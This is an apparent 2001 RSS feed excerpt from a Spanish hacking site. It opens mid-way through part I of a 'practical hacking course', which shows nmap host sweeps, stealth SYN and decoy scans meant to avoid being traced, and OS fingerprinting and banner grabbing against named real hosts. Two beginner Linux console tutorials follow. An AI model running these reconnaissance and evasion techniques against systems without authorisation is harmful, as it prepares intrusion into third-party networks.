sistema operativo por rastreo de pila. Cuando el trafico ICMP se<br />
encuentra bloqueado la exploracion de puertos es la mejor tecnica para<br />
encontrar hosts activos. Nmap permite la opcion de hacer TCP ping scan<br />
mediante la opcion -PT en el puerto 80 (puerto comun usado por los<br />
routers frontera para los sistemas de su misma zona y sus cortafuegos<br />
principales. Y permite analizar toda la red indicada como intervalo,<br />
con &#8220;mask&#8221; o utilizando bloques CIDR: por ejemplo 209.10.*.* equivale<br />
a 209.10.0-255.0-255 o usando mask, 209.10.0.0/16. Cualquiera de estas<br />
formas vale para usar con nmap. Si usamos la notaci=F3n de mask IP/n<br />
n=3D0 escanea toda internet y n=3D32 el host particular<br />
correspondiente a dicha IP.la mask /24 barrera una serie de IP<br />
correspondiente a x.x.x.0-225 (red de clase C con mascara de subred<br />
255.255.255.0)y /16 lo hara con una serie correspondiente a una clase<br />
B (x.x.0-255.0-255). Para ello hacemos como root</p>
<p>#&gt;nmap -sP -PT80 209.10-11.0-159.0-255</p>
<p>(barremos toda la red global)</p>
<p>y para cada host activo, aparecera &#8220;Host (x.x.x.x) appears to be up&#8221;.</p>
<p>Las opciones y posibilidades de nmap son grandes; conviene leerse el<br />
manual porque aqui solamente trataremos un nivel muy muy<br />
basico. Podemos realizar una exploracion de puertos sigilosa mediante<br />
un barrido semi abierto (TCP SYN scan) realizado como superusuario:</p>
<p>#&gt;nmap -sS transmeta.com</p>
<p>(los resultados pueden almacenarse en un fichero con la opcion -o<br />
fichero)</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS transmeta.com<br />
Interesting ports on www1.transmeta.com (209.10.41.231):<br />
(The 1521 ports scanned but not shown below are in state: closed)<br />
Port State Service<br />
22/tcp open ssh<br />
80/tcp open http</p>
<p># Nmap run completed at Tue Aug 1 23:17:52 2000 &#8212; 1 IP address (1 host up) scanned in 28 seconds</p>
<p>Como puede verse www1.transmeta.com solamente tiene dos puertos<br />
abiertos, el de secure shell y el de servidor web.</p>
<p>Para que la exploracion sea todavia mas silenciosa conviene hacer el<br />
barrido utilizando se=F1uelos con la opcion -D. Supongamos que estamos<br />
interesados especificamente en una direccion x.x.x.x y en los puertos<br />
25, 139 y 443. Podemos hacer</p>
<p>#&gt;nmap -sS x.x.x.x -D se=F1uelo1, se=F1uelo2, ME -p25, 139, 443</p>
<p>De este modo se realiza un barrido SYN en tales puertos con dos host se=F1uelos 1 y 2. Asi el host escaneado pensara que esta siendo barrido ademas por dichos se=F1uelos. Hay que separar cada maquina se=F1uelo por comas y se puede usar &#8220;ME&#8221; como se=F1uelo que representa la posicion usada por nuestra maquina. Si se coloca ME en la sexta posicion o superior podemos estar casi seguros que no nos rastrearan, pero los hosts usados como se=F1uelos (en este ultimo caso del 1 al 5) han de estar activos porque si no podria producirse un SYN flooding en la maquina escaneada ademas de no ser notados tales se=F1uelos. Si usamos la opcion -I (ident) podemos conocer el nombre del usuario propietario del proceso conectado via TCP, pero para ello hay que hacer la conexion completa TCP (-sT) y seriamos vistos.</p>
<p>Una vez que conocemos los puntos a la escucha en nuestro sistema<br />
destino, el siguiente objetivo es identificar su sistema operativo. El<br />
procedimiento mas comun es mediante telnet al puerto 23; p.ej.</p>
<p>$&gt; telnet 163.143.103.12<br />
=2E&#8230;algunos mensajes tipicos&#8230;.<br />
HP-UX hpux B.10.01 A 9000/715 (ttyp2)<br />
login:</p>
<p>El problema es que muchos administradores eliminan el banner del<br />
sistema operativo, ciertos sistemas dan per se poca informacion y<br />
algunos listillos mienten como bellacos en el banner. De todos modos<br />
aunque el banner este off es posible usar otras argucias con telnet o<br />
netcat</p>
<p>$&gt;telnet ftp.netscape.com 21<br />
=2E&#8230;mensajes&#8230;.<br />
220 ftp29 FTP server (Unix System V Release 4.0)<br />
(entonces hacemos)<br />
SYST<br />
(y nos aparece si hay suerte)<br />
215 UNIX Type: L8 Version: SUNOS</p>
<p>En el caso de web servers con la utilidad netcat (la navaja del<br />
ejercito suizo para estas cuestiones) podemos hacer (p.ej., en<br />
hotbot.com)</p>
<p>$&gt;echo &#8216;GET / HTTP/1.0n&#8217; | nc hotbot.com 80 | egrep &#8216;^Server:&#8217;<br />
(para obtener)<br />
Server: Microsoft-IIS/4.0</p>
<p>Pero, por las otras razones, el procedimiento mas preciso es el<br />
llamado rastreo de pila (Stack fingerprinting). A la hora de escribir<br />
las pilas TCP/IP, cada fabricante suele interpretar a su manera la<br />
normativa RFC especifica y mediante la deteccion de estas diferencias<br />
se pueden realizar suposiciones razonables del sistema operativo. Para<br />
que la fiabilidad sea maxima debe al menos existir un puerto<br />
abierto. Hay dos utilidades que permiten realizar esto y son el ya<br />
celebrado programa nmap y queso. Nmap lo realiza con la opcion -O e<br />
incluso si no hay puertos a la escucha realiza una suposicion del<br />
sistema operativo. Queso hace la deteccion basandose en un unico<br />
puerto que por defecto es el 80, pero que puede cambiarse. Por<br />
ejemplo, parece que v2-edge2.sjc1.globix.net (209.10.3.22) como vimos<br />
al hacet traceroute a transmeta.com, es un router. =BFCual sera el<br />
sistema operativo? Para ello basta con hacer #&gt;nmap -O 209.10.3.22 (o<br />
con la opcion -sS para no ser detectados) y en mi caso no se<br />
encontraron puertos abiertos pero la suposicion del sistema operativo<br />
fue en todos los casos un Cisco Router.</p>
<p>=BFOs acordais del gestor de correo de transmeta.com? Se trataba de<br />
neosilicon.transmeta.com (209.10.217.68) y pensabamos que se trataba<br />
de un posible cortafuegosSi hago #&gt;nmap -sS -O 209.10.217.68 tarda un<br />
monton, pero se observa que tiene abiertos los puertos 25 (gestor de<br />
correo, 21 (servidor ftp) y 53 (domain, consulta de DNS). Si hacemos<br />
la consulta a las bravas con #&gt;nmap -O 209.10.217.68 -p25 nos sale un<br />
Linux 2.0.x y si lo hacemos con #&gt;queso 209.10.217.68:25 nos sale lo<br />
mismo.</p>
<p>Cabria decir que neosilicon.transmeta.com se encarga del correo y el<br />
ftp de transmeta.com. Si nos atrevemos a hacer un telnet a esos<br />
puertos nos sale:</p>
<p>$&gt;telnet 209.10.217.68 25<br />
=2E&#8230;mensajes&#8230;.<br />
220 neosilicon.transmeta.com ESMTP Sendmail 8.9.3 &#8230;</p>
<p>$&gt;telnet 209.10.217.68 21<br />
=2E&#8230;mensajes intimidatorios&#8230;.<br />
220 neosilicon transmeta.com FTP Server (Version wu-2.6.1(1)) ready&#8230;</p>
<p>Y basta por esta entrega.</p>
<p>En el capitulo 2 trataremos de obtener informacion critica del sistema<br />
objetivo: transferencia de zona en DNS, busqueda de cortafuegos y<br />
routers con hping, nmap y netcat, exportacion de archivos NFS,<br />
exportacion de listas de usuarios, aplicaciones RPC, NIS y bugs de los<br />
demonios escuchantes en los puertos tipicos smpt, pop, imap&#8230;</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>LECTER</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra II</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:07:11 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=149</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra II Autor: Lokutus Tema: Linux La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: La pantalla negra II<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Volvemos a enfrentarnos una vez mÃ¡s con el dragÃ³n.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Vamos a introducir algunas Ã³rdenes, para familiarizarnos un poco con el shell que estamos utilizando,</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
[genaro]$ pwd<br />
/home/genaro<br />
[genaro]$ _</td>
</tr>
</table>
<p>Estas Ã³rdenes ya las vimos en la primera parte, si queremos repetir en cualquier otro momento algunas de las Ã³rdenes, no hace falta teclearlas de nuevo, usando las flecha de cursor arriba, podemos repetir Ã³rdenes que ya hemos tecleado anteriormente, e incluso editarlas.</p>
<p>Sigamos metiendo Ã³rdenes, crear directorios, borrarlos, crear ficheros, etc. LlegarÃ¡ un momento, en que el texto desaparezca por la parte superior de la pantalla. La consola, sÃ³lo tiene 80 columnas de ancho y 25 lÃ­neas de alto, para ver una lÃ­nea que haya desaparecido, podemos usar la combinaciÃ³n de teclas &quot;MayÃºsculas + Retroceso de pÃ¡gina&quot; para ir arriba y &quot;MayÃºsculas + Avance de pÃ¡gina&quot; para ir hacia abajo. Si lo deseamos, podemos ejecutar dos o mÃ¡s Ã³rdenes en una misma lÃ­nea separandolas con el punto y coma, &quot;;&quot;</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir directorio ; ls ; cd directorio ; pwd<br />
directorio<br />
/home/genaro/directorio<br />
[directorio]$ _</td>
</tr>
</table>
<p>A diferencia de lo que ocurre con otros sistemas operativos orientados a caracteres, casi todos los comandos bÃ¡sicos que acepta el shell, son externos, o sea, programas aparte, muchos de esos programas estÃ¡n en el directorio /bin y otros en el directorio /usr/bin Para verlos puede hacer un ls</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ ls /bin<br />
arch date grep mknod<br />
rmdir true ash dd<br />
gtar mktemp rpm umount<br />
&#8230;&#8230;&#8230;&#8230;&#8230;<br />
[directorio]$ _</td>
</tr>
</table>
<p>En cualquier momento, cuando se tenga curiosidad acerca de quÃ© hace un programa determinado, podemos consultar la orden &quot;man&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ man ls<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
LS(1) LS(1)<br />
NOMBRE<br />
ls, dir, vdir &#8211; listan los contenidos de directorios<br />
SINOPSIS<br />
ls [opciones] [fichero...]<br />
Opciones de POSIX: [-CFRacdilqrtu1]<br />
Opciones de GNU (en la forma mÃ¡s corta):<br />
[-1abcdÂ­fgiklmnopqrstuxABCDFGLNQRSUX]<br />
[-w cols] [-T cols]<br />
[-I patrÃ³n]<br />
[--full-time] [--format={long,verbose,comÂ­mas,across,vertical,single-column}]<br />
[--sort={none,time,size,extension}]<br />
[--time={atime,access,use,ctime,status}]<br />
[--color[={none,auto,always}]]<br />
[--help] [--version] [--]<br />
DESCRIPCIÃ“N<br />
El programa ls lista primero sus argumentos no directorios:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</td>
</tr>
</table>
<p>Con las teclas de cursor, nos desplazamos hacia arriba y abajo, para salir pulsar la tecla q. La mayorÃ­a de las Ã³rdenes aceptan parÃ¡metros, los parÃ¡metros especifican que cosas debe hacer un programa o como debe funcionar.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ cd .. ; ls -l<br />
drwxr-xr-x 5 genaro users 1024 Jan 13 00:22 directorio<br />
[genaro]$ _</td>
</tr>
</table>
<p><b>TIP 3:</b> Los parÃ¡metros en Unix se pasan con el simbolo &quot;-&quot;, a diferencia del DOS que usa el sÃ­mbolo &quot;/&quot;.</p>
<p>Con el parÃ¡metro -l, hemos dicho a ls que liste los ficheros en formato largo, un fichero por lÃ­nea, dando mÃ¡s informaciÃ³n sobre ese fichero. Probad a hacer:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l /usr/bin<br />
-rwxr-xr-x 1 root root 20648 Jul 30 1999 zipsplit<br />
-rwxr-xr-x 1 root root 41 Mar 25 1999 zless<br />
-rwxr-xr-x 1 root root 1068 Mar 25 1999 zmore<br />
-rwxr-xr-x 1 root root 3502 Mar 25 1999 znew<br />
[genaro]$ _</td>
</tr>
</table>
<p>Veremos desplazarse los ficheros rÃ¡pidamente y se perderÃ¡n los primeros, este es el momento para prÃ¡cticar las combinaciÃ³nes de teclas &quot;Mays + Re Pag&quot; y &quot;Mays + Av Pag&quot;. Al principio de cada lÃ­nea, hay una informaciÃ³n muy rara, -rwxr-xr-x, la primera letra, indica que tipo de fichero es, si es una &quot;d&quot; es un directorio, y si es el caracter &quot;-&quot; es un fichero ordinario, o sea, un programa, un fichero de texto, un fichero de sonido, un AVI, etc. Si volvemos a hacer un ls -l, vemos que efectivamente, el fichero &quot;directorio&quot; que hemos creado con anterioridad, es un directorio.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l<br />
drwxr-xr-x 5 genaro users 1024 Jan 13 00:22 directorio<br />
[genaro]$ _</td>
</tr>
</table>
<p>Vemos en la tercera columna, la palabra &quot;genaro&quot;, o sea, dice que lo hemos creado nosotros, y como pertenecemos al grupo de trabajo &quot;users&quot;, el fichero tambiÃ©n pertenece al grupo &quot;users&quot;. La siguiente columna, 1024, indica el tamaÃ±o del fichero, observa el listado de /usr/bin. luego viene la fecha y la hora, y por Ãºltimo el nombre del fichero. Pero volvamos a la primera columna.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>-rwxr-xr-x 1 root root 3502 Mar 25 1999 znew</td>
</tr>
</table>
<p>Sobre el fichero Ã³rdinario znew, hay unos permisos de lectura y escritura, vemos que el fichero, pertenece a &quot;root&quot; y es de un grupo de usuarios llamado &quot;root&quot;. Quitamos el primer caracter, que nos dice que tipo de fichero es, y separamos los demÃ¡s caracteres en bloques de tres.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>rwx r-x r-x</td>
</tr>
</table>
<p>El primer bloque, se aplica sobre el usuario propietario, en este caso &quot;root&quot;, el segundo bloque sobre el grupo propietario, tambiÃ©n &quot;root&quot; y el Ãºltimo bloque, a todos los demas. El propietario del fichero, &quot;root&quot;, puede leer &quot;r&quot; , puede escribir en el &quot;w&quot;, incluido el borrado, y puede ejecutarlo como programa, &quot;x&quot;. En nuestro caso, como no somos &quot;root&quot; y somos de otro grupo, &quot;users&quot;, se aplica el tercer bloque, podemos leer el fichero, y podemos ejecutarlo, pero no podemos sobrescribirlo, ni borrarlo, ni hacer ninguna modificaciÃ³n. Esto es una seguridad bÃ¡sica del sistema operativo, en una mÃ¡quina en la que existan varios usuarios trabajando al mismo tiempo, ninguno podrÃ¡ modificar los programas ni los ficheros para meter troyanos ni bromas. Supongamos que alguien escribiera un virus para Linux, y lo ejecutamos trabajando como &quot;genaro&quot;, el virus tendrÃ­a nuestros permisos y no podrÃ­a borrar los ficheros importantes.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l /etc/shadow<br />
-r&#8212;&#8212;&#8211; 1 root root 745 Dec 22 02:01 /etc/shadow</td>
</tr>
</table>
<p>El fichero /etc/shadow, contiene los passwords de los usuarios, y sÃ³lo lo puede leer el usuario &quot;root&quot;. Otro parÃ¡metro de ls, es el parÃ¡metro -a, con -a listamos tambiÃ©n los ficheros ocultos</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -a . .gftp<br />
.twmX8Fmri .. .gimp<br />
.user.rdb Directorio<br />
[genaro]$_</td>
</tr>
</table>
<p>Hay mÃ¡s ficheros ocultos, pero se han omitido por comodidad, los ficheros ocultos en Unix son los que empiezan con un punto, normalmente suelen ser ficheros de configuraciÃ³n. De esos ficheros, hay dos, el fichero &quot;.&quot; y el fichero &quot;..&quot; que son directorios, &quot;.&quot; es el directorio en el que estamos y &quot;..&quot; es el nivel superior, o directorio padre.</p>
<p><b>TIP 4:</b> Cuando usamos mÃ¡s de un parÃ¡metro, normalmente se pueden agrupar con un Ãºnico simbolo &quot;-&quot;</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -alF</td>
</tr>
</table>
<p>Siguiendo con el tema de los parÃ¡metros, el shell del sistema operativo, no mete a los programas los parÃ¡metros tal y como nosotros se los damos, tiene que mirar si existen unos caracteres especiales llamados metacaracteres. Un metacaracter, es el sÃ­mbolo &quot;*&quot;, cuando pasamos un asterisco como parÃ¡metro a un programa, el sistema operativo lo sustituye por los nombres de todos los ficheros que existen en el directorio.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd directorio<br />
[directorio]$ touch fichero1<br />
[directorio]$ touch fichero2<br />
[directorio]$ cd ..<br />
[genaro]$ mkdir dir2<br />
[genaro]$ touch fichero3<br />
[genaro]$ touch fichero4<br />
[genaro]$ touch fichero5<br />
[genaro] ls *<br />
fichero3 fichero4 fichero5<br />
directorio:<br />
fichero1 fichero2<br />
dir2:<br />
[genaro]$ _</td>
</tr>
</table>
<p>La Ã³rden ls * en nuestro caso, equivalÃ­a a &quot;ls directorio dir2 fichero3 fichero4 fichero5&quot;. El caracter asterisco, naturalmente tambiÃ©n se puede usar como comodÃ­n de varios caracteres.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls *.txt</td>
</tr>
</table>
<p>Otro metacaracter es el sÃ­mbolo &quot;?&quot; que sustituye a un caracter.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls fichero?<br />
fichero3 fichero4 fichero5</td>
</tr>
</table>
<p>Para mÃ¡s informaciÃ³n se puede consultar &quot;man bash&quot;. La semana que viene, Mario Brosh</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La pantalla negra I</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:04:54 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=83</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra I Autor: Lokutus Tema: Linux La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: La pantalla negra I<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p><b>Requerimientos:</b><br />
Un Linux instalado funcionando con una cuenta de usuario, que se compone de un Login (nombre), y un password (contraseÃ±a), Ese Linux debe de arrancar en modo consola, sin las X. Es aconsejable que sea una versiÃ³n castellanizada con las pÃ¡ginas del manual del proyecto Lucas.</p>
<p>Encendemos el ordenador, apretando a ese botÃ³n que pone Power, el sistema operativo arranca, y al cabo de un rato veremos la pantalla de color negro y un mensaje similar a:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login:</td>
</tr>
</table>
<p>Â¿No ve nada?, compruebe si el pilotito del monitor estÃ¡ encendido, si no es asÃ­, pulse el botÃ³n gordo. Â¿Problema subsanado?, bien empezamos.</p>
<p>Escribimos el login, cada vez que pulsamos una tecla, aparecerÃ¡ en pantalla el caracter correspondiente,</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro</td>
</tr>
</table>
<p>Y ahora, Â¿Como decimos que hemos acabado de introducir el nombre?, con la tecla &quot;Intro&quot; que estÃ¡ en el teclado numÃ©rico, el de la derecha, debajo de la tecla &quot;+&quot;. Un equivalente a este tecla es la tecla gorda que tiene una flecha en forma de L apuntando a la izquierda, la que estÃ¡ justo encima de la tecla de mayÃºsculas izquierda. Esta tecla tambiÃ©n se llama retorno de carro, o CR de &quot;Carriage Return&quot;.</p>
<p>Despues de introducir el login, nos pide el password.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:</td>
</tr>
</table>
<p>Es este caso, no veremos los caracteres que tecleamos, si nos confundimos en el password o en el login, no nos dirÃ¡ en que nos hemos confundido y tendremos que teclear las dos cosas.</p>
<p>Â¿Ya hemos entrado?, bien podemos comenzar. En primer lugar y si nunca ha tenido contacto con un interfaz en modo consola, Linux es como un chat o IRC, pero en lugar de hablar con otras personas que estÃ¡n conectadas al IRC, hablamos con el sistema operativo.</p>
<p>Observamos que en la pantalla, sÃ³lo vemos un mensaje y un cursor parpadeante:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ _</td>
</tr>
</table>
<p>Ese mensajito, es el llamado &quot;prompt&quot;, traducido como simbolo del sistema, y quiere decir, que el sistema operativo, estÃ¡ preparado y listo para aceptar Ã³rdenes, o sea, escribimos algo, pulsamos retorno de carro y el sistema operativo, nos responde, y vuelve a aparecer el shell para que podamos decir mÃ¡s cosas.</p>
<p>Si pulsamos varias veces la tecla de retorno de carro sin decir nada, se escribe mÃ¡s veces el sÃ­mbolo del sistema.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$<br />
[genaro]$<br />
[genaro]$<br />
[genaro]$<br />
[genaro]$ _</td>
</tr>
</table>
<p>Comenzamos a trabajar.<br />
[Siempre pulsamos retorno de carro para acabar una Ã³rden]</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ naz, que pasa tronco?<br />
bash: naz,:<br />
command not found</td>
</tr>
</table>
<p>Parece que no nos ha hecho mucho caso, lo mismo hay que hablarle en giri.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ hello, what&#8217;s the matter?<br />
bash: hello:<br />
command not found</td>
</tr>
</table>
<p>Â¿QuÃ© es lo que pasa?, que el sistema operativo no es un sistema experto, no podemos hablar con el como si fuera otra persona, tenemos que introducirle Ã³rdenes, el se las traga, hace lo que tenga que hacer y escribe en pantalla los resultados.</p>
<p>Vamos a comenzar con una primera Ã³rden. &quot;clear&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ CLEAR<br />
bash: CLEAR:<br />
command not found</td>
</tr>
</table>
<p>Ops, parece que no funciona, Â¿por quÃ©?, Â¿tiene que ser en minÃºsculas?, pues si.</p>
